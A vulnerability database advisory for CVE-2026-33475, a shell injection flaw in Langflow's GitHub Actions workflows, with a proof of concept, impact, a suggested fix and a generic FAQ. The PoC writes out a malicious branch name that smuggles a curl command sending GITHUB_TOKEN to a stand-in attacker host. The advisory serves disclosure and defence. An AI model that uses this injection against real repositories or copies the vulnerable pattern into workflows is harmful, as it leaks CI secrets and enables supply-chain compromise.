Vulnerability Database

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Total vulnerabilities in the database

CVE-2026-33475 — langflow / langflow

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"

    Will execute:

    echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml
  • Published: Mar 24, 2026
  • Updated: Mar 25, 2026
  • CVE: CVE-2026-33475
  • Severity: Critical
  • Exploit:

CVSS v3:

  • Severity: Critical
  • Score: 9.1
  • AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

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